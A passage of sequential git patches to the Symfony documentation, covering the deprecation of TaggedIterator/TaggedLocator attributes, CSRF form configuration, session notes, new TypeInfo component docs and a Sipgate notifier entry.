 or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
 that will be used by the normalizer must be aware of the format to use.
 

From 230dc2c79300766ae743f5ce9c2d82101a10d6c5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Jun 2024 16:43:53 +0200
Subject: [PATCH 6184/7107] -

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ae0442a3e5c..2fa544860c3 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -264,7 +264,7 @@ Assume you have the following plain-old-PHP object::
         }
     }
 
-The definition of serialization can be specified using attributes, XML
+The definition of serialization can be specified using annotations, attributes, XML
 or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
 that will be used by the normalizer must be aware of the format to use.
 

From 28070e85a3ea9ff4357150604d03c1582811b26c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Jun 2024 16:44:59 +0200
Subject: [PATCH 6185/7107] [Serializer] Remove any mention to annotations

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c23e6300a4d..40a114b543e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -264,8 +264,8 @@ Assume you have the following plain-old-PHP object::
         }
     }
 
-The definition of serialization can be specified using annotations, attributes, XML
-or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
+The definition of serialization can be specified using attributes, XML or YAML.
+The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
 that will be used by the normalizer must be aware of the format to use.
 
 The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`

From d669eb32e6af05f5f34ce3953abf385336eeaed3 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 30 Jun 2024 16:16:58 +0200
Subject: [PATCH 6186/7107] deprecate TaggedIterator and TaggedLocator
 attributes

---
 reference/attributes.rst                      |  8 +++++++
 .../service_subscribers_locators.rst          | 24 ++++++++++++++-----
 service_container/tags.rst                    | 24 +++++++++----------
 3 files changed, 38 insertions(+), 18 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 4428dc4c587..ba34afd524d 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -44,6 +44,14 @@ Dependency Injection
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
 * :ref:`When <service-container_limiting-to-env>`
 
+.. deprecated:: 7.1
+
+    The
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+    and
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+    were deprecated in Symfony 7.1.
+
 EventDispatcher
 ~~~~~~~~~~~~~~~
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 25ebe97e7e7..9c36f8c82cd 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -307,6 +307,18 @@ This is done by having ``getSubscribedServices()`` return an array of
         ];
     }
 
+.. deprecated:: 7.1
+
+    The
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+    and
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+    were deprecated in Symfony 7.1.
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+    and
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
+    should be used instead.
+
 .. note::
 
     The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
@@ -432,13 +444,13 @@ or directly via PHP attributes:
         namespace App;
 
         use Psr\Container\ContainerInterface;
-        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
 
         class CommandBus
         {
             public function __construct(
                 // creates a service locator with all the services tagged with 'app.handler'
-                #[TaggedLocator('app.handler')]
+                #[AutowireLocator('app.handler')]
                 private ContainerInterface $locator,
             ) {
             }
@@ -674,12 +686,12 @@ to index the services:
         namespace App;
 
         use Psr\Container\ContainerInterface;
-        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
 
         class CommandBus
         {
             public function __construct(
-                #[TaggedLocator('app.handler', indexAttribute: 'key')]
+                #[AutowireLocator('app.handler', indexAttribute: 'key')]
                 private ContainerInterface $locator,
             ) {
             }
@@ -789,12 +801,12 @@ get the value used to index the services:
         namespace App;
 
         use Psr\Container\ContainerInterface;
-        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
 
         class CommandBus
         {
             public function __construct(
-                #[TaggedLocator('app.handler', 'defaultIndexMethod: 'getLocatorKey')]
+                #[AutowireLocator('app.handler', 'defaultIndexMethod: 'getLocatorKey')]
                 private ContainerInterface $locator,
             ) {
             }
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 1900ce28fb2..68509bc5620 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -674,13 +674,13 @@ directly via PHP attributes:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
                 // the attribute must be applied directly to the argument to autowire
-                #[TaggedIterator('app.handler')]
+                #[AutowireIterator('app.handler')]
                 iterable $handlers
             ) {
             }
@@ -766,12 +766,12 @@ iterator, add the ``exclude`` option:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'])]
+                #[AutowireIterator('app.handler', exclude: ['App\Handler\Three'])]
                 iterable $handlers
             ) {
             }
@@ -849,12 +849,12 @@ disabled by setting the ``exclude_self`` option to ``false``:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)]
+                #[AutowireIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)]
                 iterable $handlers
             ) {
             }
@@ -999,12 +999,12 @@ you can define it in the configuration of the collecting service:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', defaultPriorityMethod: 'getPriority')]
+                #[AutowireIterator('app.handler', defaultPriorityMethod: 'getPriority')]
                 iterable $handlers
             ) {
             }
@@ -1073,12 +1073,12 @@ to index the services:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', indexAttribute: 'key')]
+                #[AutowireIterator('app.handler', indexAttribute: 'key')]
                 iterable $handlers
             ) {
             }
@@ -1187,12 +1187,12 @@ get the value used to index the services:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', defaultIndexMethod: 'getIndex')]
+                #[AutowireIterator('app.handler', defaultIndexMethod: 'getIndex')]
                 iterable $handlers
             ) {
             }

From 4add5c3a84584eca7fedf90addd32861fef651e7 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 30 Jun 2024 17:11:46 +0200
Subject: [PATCH 6187/7107] update Url constraint

---
 reference/constraints/Url.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index b3a46d5aec4..6e93a284aa7 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -317,6 +317,11 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
 
     The ``requiredTld`` option was introduced in Symfony 7.1.
 
+.. deprecated:: 7.1
+
+    Not setting the ``requireTld`` option is deprecated since Symfony 7.1
+    and will default to ``true`` in Symfony 8.0.
+
 By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid
 because they are tecnically correct according to the `URL spec`_. If you set this option
 to ``true``, the host part of the URL will have to include a TLD (top-level domain

From 4ae71900e4ec8f6f162b8279c5059520c200cb78 Mon Sep 17 00:00:00 2001
From: Hugo Posnic <hugo.posnic@protonmail.com>
Date: Sun, 30 Jun 2024 21:42:49 +0200
Subject: [PATCH 6188/7107] Update Url.rst

---
 reference/constraints/Url.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index b3a46d5aec4..f23bbf66a74 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -315,7 +315,7 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
 
 .. versionadded:: 7.1
 
-    The ``requiredTld`` option was introduced in Symfony 7.1.
+    The ``requireTld`` option was introduced in Symfony 7.1.
 
 By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid
 because they are tecnically correct according to the `URL spec`_. If you set this option

From d85d5ee561480163a5cda0d5b31083e15bc68406 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Jul 2024 08:49:09 +0200
Subject: [PATCH 6189/7107] Minor tweaks

---
 reference/attributes.rst                           |  8 +++-----
 service_container/service_subscribers_locators.rst | 12 ++++--------
 2 files changed, 7 insertions(+), 13 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index ba34afd524d..b1f2f9c5d55 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -46,11 +46,9 @@ Dependency Injection
 
 .. deprecated:: 7.1
 
-    The
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
-    and
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
-    were deprecated in Symfony 7.1.
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+    and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+    attributes were deprecated in Symfony 7.1.
 
 EventDispatcher
 ~~~~~~~~~~~~~~~
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 9c36f8c82cd..e040ac2b972 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -309,15 +309,11 @@ This is done by having ``getSubscribedServices()`` return an array of
 
 .. deprecated:: 7.1
 
-    The
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
-    and
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
-    were deprecated in Symfony 7.1.
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+    and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+    attributes were deprecated in Symfony 7.1 in favor of
     :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
-    and
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
-    should be used instead.
+    and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`.
 
 .. note::
 

From 4412af03f68ae209c2bb83b94962f90a38b3920d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Jul 2024 09:00:49 +0200
Subject: [PATCH 6190/7107] [Create Framework] Fix a call to
 setTrustedProxies()

---
 create_framework/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index dd838e9a5e2..4406dde64a0 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -255,7 +255,7 @@ code in production without a proxy, it becomes trivially easy to abuse your
 system. That's not the case with the ``getClientIp()`` method as you must
 explicitly trust your reverse proxies by calling ``setTrustedProxies()``::
 
-    Request::setTrustedProxies(['10.0.0.1']);
+    Request::setTrustedProxies(['10.0.0.1'], Request::HEADER_X_FORWARDED_FOR);
 
     if ($myIp === $request->getClientIp()) {
         // the client is a known one, so give it some more privilege

From a06acbc7943b72e76c1ec41608a3cd58cf96200f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 1 Jul 2024 12:09:27 +0200
Subject: [PATCH 6191/7107] Remove the recipes team

---
 contributing/code/core_team.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 6cef3400384..0a2324b08a3 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -36,8 +36,6 @@ In addition, there are other groups created to manage specific topics:
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
   fixing the reported issues, coordinating the release of security fixes, etc.)
 
-* **Recipes Team**: manages the recipes in the main and contrib recipe repositories.
-
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
@@ -77,11 +75,6 @@ Active Core Members
   * **Michael Cullum** (`michaelcullum`_);
   * **Jérémy Derussé** (`jderusse`_).
 
-* **Recipes Team**:
-
-  * **Fabien Potencier** (`fabpot`_);
-  * **Tobias Nyholm** (`Nyholm`_).
-
 * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub):
 
   * **Fabien Potencier** (`fabpot`_);

From dbb8dff878189f8c7efff541f949cbcf1ceee090 Mon Sep 17 00:00:00 2001
From: javaDeveloperKid <25783196+javaDeveloperKid@users.noreply.github.com>
Date: Mon, 1 Jul 2024 13:58:24 +0200
Subject: [PATCH 6192/7107] Update routing.rst

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index fa3f35fa7d1..cae941399f8 100644
--- a/routing.rst
+++ b/routing.rst
@@ -157,7 +157,7 @@ the ``BlogController``:
 
 .. note::
 
-    By default Symfony only loads the routes defined in YAML format. If you
+    By default Symfony only loads the routes defined in YAML and PHP format. If you
     define routes in XML and/or PHP formats, you need to
     :ref:`update the src/Kernel.php file <configuration-formats>`.
 

From e9f7375361f2601927d5e20b5c79271595c2a8fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Jul 2024 14:59:21 +0200
Subject: [PATCH 6193/7107] Minor tweak

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index cae941399f8..57a087b8cfa 100644
--- a/routing.rst
+++ b/routing.rst
@@ -157,8 +157,8 @@ the ``BlogController``:
 
 .. note::
 
-    By default Symfony only loads the routes defined in YAML and PHP format. If you
-    define routes in XML and/or PHP formats, you need to
+    By default, Symfony loads the routes defined in both YAML and PHP formats.
+    If you define routes in XML format, you need to
     :ref:`update the src/Kernel.php file <configuration-formats>`.
 
 .. _routing-matching-http-methods:

From 3fefb6aacdfa6f078e7b00216ffd670faffdb394 Mon Sep 17 00:00:00 2001
From: johan Vlaar <johan@adivare.nl>
Date: Tue, 2 Jul 2024 13:58:30 +0200
Subject: [PATCH 6194/7107] Update impersonating_user.rst remove unneeded space

---
 security/impersonating_user.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 41351ab7798..36232243e1f 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -142,7 +142,7 @@ instance, to show a link to exit impersonation in a template:
 .. code-block:: html+twig
 
     {% if is_granted('IS_IMPERSONATOR') %}
-        <a href="{{ impersonation_exit_path(path('homepage') ) }}">Exit impersonation</a>
+        <a href="{{ impersonation_exit_path(path('homepage')) }}">Exit impersonation</a>
     {% endif %}
 
 .. versionadded:: 5.1

From 036a8a02236c4c6afc6b12a5c52c331aff8f1363 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Jul 2024 09:41:29 +0200
Subject: [PATCH 6195/7107] [Form] Mention that enabling CSRF in forms will
 start sessions

---
 security/csrf.rst | 51 ++++++++++++++++++++++++++++++++++++++++++++++-
 session.rst       | 14 +++++++------
 2 files changed, 58 insertions(+), 7 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index fd89ff17ba9..752186e6bfc 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -72,6 +72,8 @@ protected forms. As an alternative, you can:
   load the CSRF token with an uncached AJAX request and replace the form
   field value with it.
 
+.. _csrf-protection-forms:
+
 CSRF Protection in Symfony Forms
 --------------------------------
 
@@ -82,7 +84,54 @@ protected against CSRF attacks.
 .. _form-csrf-customization:
 
 By default Symfony adds the CSRF token in a hidden field called ``_token``, but
-this can be customized on a form-by-form basis::
+this can be customized (1) globally for all forms and (2) on a form-by-form basis.
+Globally, you can configure it under the ``framework.form`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            form:
+                csrf_protection:
+                    enabled: true
+                    field_name: 'custom_token_name'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:form>
+                    <framework:csrf-protection enabled="true" field-name="custom_token_name"/>
+                </framework:form>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->csrfProtection()
+                ->enabled(true)
+                ->fieldName('custom_token_name')
+            ;
+        };
+
+On a form-by-form basis, you can configure the CSRF protection in the ``setDefaults()``
+method of each form::
 
     // src/Form/TaskType.php
     namespace App\Form;
diff --git a/session.rst b/session.rst
index 08e1745d13c..8a8a3ec497c 100644
--- a/session.rst
+++ b/session.rst
@@ -110,13 +110,15 @@ By default, session attributes are key-value pairs managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
 class.
 
-.. tip::
+Sessions are automatically started whenever you read, write or even check for
+the existence of data in the session. This may hurt your application performance
+because all users will receive a session cookie. In order to prevent starting
+sessions for anonymous users, you must *completely* avoid accessing the session.
+
+.. note::
 
-    Sessions are automatically started whenever you read, write or even check
-    for the existence of data in the session. This may hurt your application
-    performance because all users will receive a session cookie. In order to
-    prevent starting sessions for anonymous users, you must *completely* avoid
-    accessing the session.
+    Sessions will also be created when using features that rely on them internally,
+    such as the :ref:`CSRF protection in forms <csrf-protection-forms>`.
 
 .. _flash-messages:
 

From f009a04c3b6035e898329ed34180ba91041111c1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jul 2024 16:09:47 +0200
Subject: [PATCH 6196/7107] Minor tweak

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 8a8a3ec497c..c03d9435baf 100644
--- a/session.rst
+++ b/session.rst
@@ -117,7 +117,7 @@ sessions for anonymous users, you must *completely* avoid accessing the session.
 
 .. note::
 
-    Sessions will also be created when using features that rely on them internally,
+    Sessions will also be started when using features that rely on them internally,
     such as the :ref:`CSRF protection in forms <csrf-protection-forms>`.
 
 .. _flash-messages:

From b6ffad3ce5e5b558c420f99a5852bd88b5f8ea69 Mon Sep 17 00:00:00 2001
From: Baptiste Leduc <baptiste.leduc@gmail.com>
Date: Wed, 7 Feb 2024 10:11:28 +0100
Subject: [PATCH 6197/7107] [TypeInfo] Add documentation

---
 components/type_info.rst | 71 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 71 insertions(+)
 create mode 100644 components/type_info.rst

diff --git a/components/type_info.rst b/components/type_info.rst
new file mode 100644
index 00000000000..12960ff49d2
--- /dev/null
+++ b/components/type_info.rst
@@ -0,0 +1,71 @@
+The TypeInfo Component
+======================
+
+    The TypeInfo component extracts PHP types information. It aims to:
+
+    - Have a powerful Type definition that can handle union, intersections, and generics (and could be even more extended)
+
+    - Being able to get types from anything, such as properties, method arguments, return types, and raw strings (and can also be extended).
+
+.. caution::
+
+    This component is :doc:`experimental </contributing/code/experimental>` and could be changed at any time
+    without prior notice.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/type-info
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+This component will gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that represents
+the PHP type of whatever you builded or asked to resolve.
+
+There are two ways to use this component. First one is to create a type manually thanks
+to :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
+
+    use Symfony\Component\TypeInfo\Type;
+
+    Type::int();
+    Type::nullable(Type::string());
+    Type::generic(Type::object(Collection::class), Type::int());
+    Type::list(Type::bool());
+    Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class));
+
+    // Many others are available and can be
+    // found in Symfony\Component\TypeInfo\TypeFactoryTrait
+
+
+Second way to use TypeInfo is to resolve a type based on reflection or a simple string::
+
+    use Symfony\Component\TypeInfo\Type;
+    use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
+
+    // Instantiate a new resolver
+    $typeResolver = TypeResolver::create();
+
+    // Then resolve types for any subject
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type instance
+    $typeResolver->resolve('bool'); // returns a "bool" Type instance
+
+    // Types can be instantiated thanks to static factories
+    $type = Type::list(Type::nullable(Type::bool()));
+
+    // Type instances have several helper methods
+    $type->getBaseType() // returns an "array" Type instance
+    $type->getCollectionKeyType(); // returns an "int" Type instance
+    $type->getCollectionValueType()->isNullable(); // returns true
+
+Each of this rows will return you a Type instance that will corresponds to whatever static method you used to build it.
+We also can resolve a type from a string like we can see in this example with the `'bool'` parameter it is mostly
+designed that way so we can give TypeInfo a string from whatever was extracted from existing phpDoc within PropertyInfo.
+
+.. note::
+
+    To support raw string resolving, you need to install ``phpstan/phpdoc-parser`` package.

From 6bb4ae9e19d8a8a7181db4d0d9bbf5815b9553e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jul 2024 16:52:12 +0200
Subject: [PATCH 6198/7107] Minor rewords

---
 components/type_info.rst | 30 +++++++++++++++++-------------
 1 file changed, 17 insertions(+), 13 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 12960ff49d2..f3d1119b1af 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -1,16 +1,20 @@
 The TypeInfo Component
 ======================
 
-    The TypeInfo component extracts PHP types information. It aims to:
+The TypeInfo component extracts type information from PHP elements like properties,
+arguments and return types.
 
-    - Have a powerful Type definition that can handle union, intersections, and generics (and could be even more extended)
+This component provides:
 
-    - Being able to get types from anything, such as properties, method arguments, return types, and raw strings (and can also be extended).
+* A powerful ``Type`` definition that can handle unions, intersections, and generics
+  (and can be extended to support more types in the future);
+* A way to get types from PHP elements such as properties, method arguments,
+  return types, and raw strings.
 
 .. caution::
 
-    This component is :doc:`experimental </contributing/code/experimental>` and could be changed at any time
-    without prior notice.
+    This component is :doc:`experimental </contributing/code/experimental>` and
+    could be changed at any time without prior notice.
 
 Installation
 ------------
@@ -24,11 +28,11 @@ Installation
 Usage
 -----
 
-This component will gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that represents
-the PHP type of whatever you builded or asked to resolve.
+This component gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that
+represents the PHP type of anything you built or asked to resolve.
 
 There are two ways to use this component. First one is to create a type manually thanks
-to :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
+to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
 
     use Symfony\Component\TypeInfo\Type;
 
@@ -41,8 +45,8 @@ to :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     // Many others are available and can be
     // found in Symfony\Component\TypeInfo\TypeFactoryTrait
 
-
-Second way to use TypeInfo is to resolve a type based on reflection or a simple string::
+The second way of using the component is to use ``TypeInfo`` to resolve a type
+based on reflection or a simple string::
 
     use Symfony\Component\TypeInfo\Type;
     use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
@@ -62,9 +66,9 @@ Second way to use TypeInfo is to resolve a type based on reflection or a simple
     $type->getCollectionKeyType(); // returns an "int" Type instance
     $type->getCollectionValueType()->isNullable(); // returns true
 
-Each of this rows will return you a Type instance that will corresponds to whatever static method you used to build it.
-We also can resolve a type from a string like we can see in this example with the `'bool'` parameter it is mostly
-designed that way so we can give TypeInfo a string from whatever was extracted from existing phpDoc within PropertyInfo.
+Each of this calls will return you a ``Type`` instance that corresponds to the
+static method used. You can also resolve types from a string (as shown in the
+``bool`` parameter of the previous example)
 
 .. note::
 

From 8e0643a9c8f7a5608b315245335ef89badee0f60 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Tue, 2 Jul 2024 17:34:07 +0200
Subject: [PATCH 6199/7107] Fix typo in the new TypeInfo docs

---
 components/type_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index f3d1119b1af..77e25451e6c 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -66,7 +66,7 @@ based on reflection or a simple string::
     $type->getCollectionKeyType(); // returns an "int" Type instance
     $type->getCollectionValueType()->isNullable(); // returns true
 
-Each of this calls will return you a ``Type`` instance that corresponds to the
+Each of these calls will return you a ``Type`` instance that corresponds to the
 static method used. You can also resolve types from a string (as shown in the
 ``bool`` parameter of the previous example)
 

From 09e7fab9107d5bd8d001598b9b7fdd7754f1d397 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Jul 2024 09:27:30 +0200
Subject: [PATCH 6200/7107] [TypeInfo] Better explain the getBaseType() method

---
 components/type_info.rst | 17 ++++++++++++++---
 1 file changed, 14 insertions(+), 3 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 77e25451e6c..1c42a89b3c8 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -62,9 +62,20 @@ based on reflection or a simple string::
     $type = Type::list(Type::nullable(Type::bool()));
 
     // Type instances have several helper methods
-    $type->getBaseType() // returns an "array" Type instance
-    $type->getCollectionKeyType(); // returns an "int" Type instance
-    $type->getCollectionValueType()->isNullable(); // returns true
+
+    // returns the main type (e.g. in this example ir returns an "array" Type instance)
+    // for nullable types (e.g. string|null) returns the non-null type (e.g. string)
+    // and for compound types (e.g. int|string) it throws an exception because both types
+    // can be considered the main one, so there's no way to pick one
+    $baseType = $type->getBaseType();
+
+    // for collections, it returns the type of the item used as the key
+    // in this example, the collection is a list, so it returns and "int" Type instance
+    $keyType = $type->getCollectionKeyType();
+
+    // you can chain the utility methods e.g. to introspect the values of the collection
+    // the following code will return true
+    $isValueNullable = $type->getCollectionValueType()->isNullable();
 
 Each of these calls will return you a ``Type`` instance that corresponds to the
 static method used. You can also resolve types from a string (as shown in the

From c4e8ace5ce8e095c4c6a67a1db20d979a003195b Mon Sep 17 00:00:00 2001
From: sakul95 <60596924+sakul95@users.noreply.github.com>
Date: Wed, 3 Jul 2024 10:10:25 +0200
Subject: [PATCH 6201/7107] [Notifier] Add Sipgate bridge

---
 notifier.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 1a19c135a7c..3ecb8878fb4 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -159,6 +159,9 @@ Service
 `Sinch`_            **Install**: ``composer require symfony/sinch-notifier`` \
                     **DSN**: ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM`` \
                     **Webhook support**: No
+`Sipgate`_          **Install**: ``composer require symfony/sipgate-notifier`` \
+                    **DSN**: ``sipgate://TOKEN_ID:TOKEN@default?senderId=SENDER_ID`` \
+                    **Webhook support**: No
 `SmsSluzba`_        **Install**: ``composer require symfony/sms-sluzba-notifier`` \
                     **DSN**: ``sms-sluzba://USERNAME:PASSWORD@default`` \
                     **Webhook support**: No
@@ -214,6 +217,10 @@ Service
     The ``Smsbox``, ``SmsSluzba``, ``SMSense``, ``LOX24`` and ``Unifonic``
     integrations were introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    The ``Sipgate`` integration was introduced in Symfony 7.2.
+
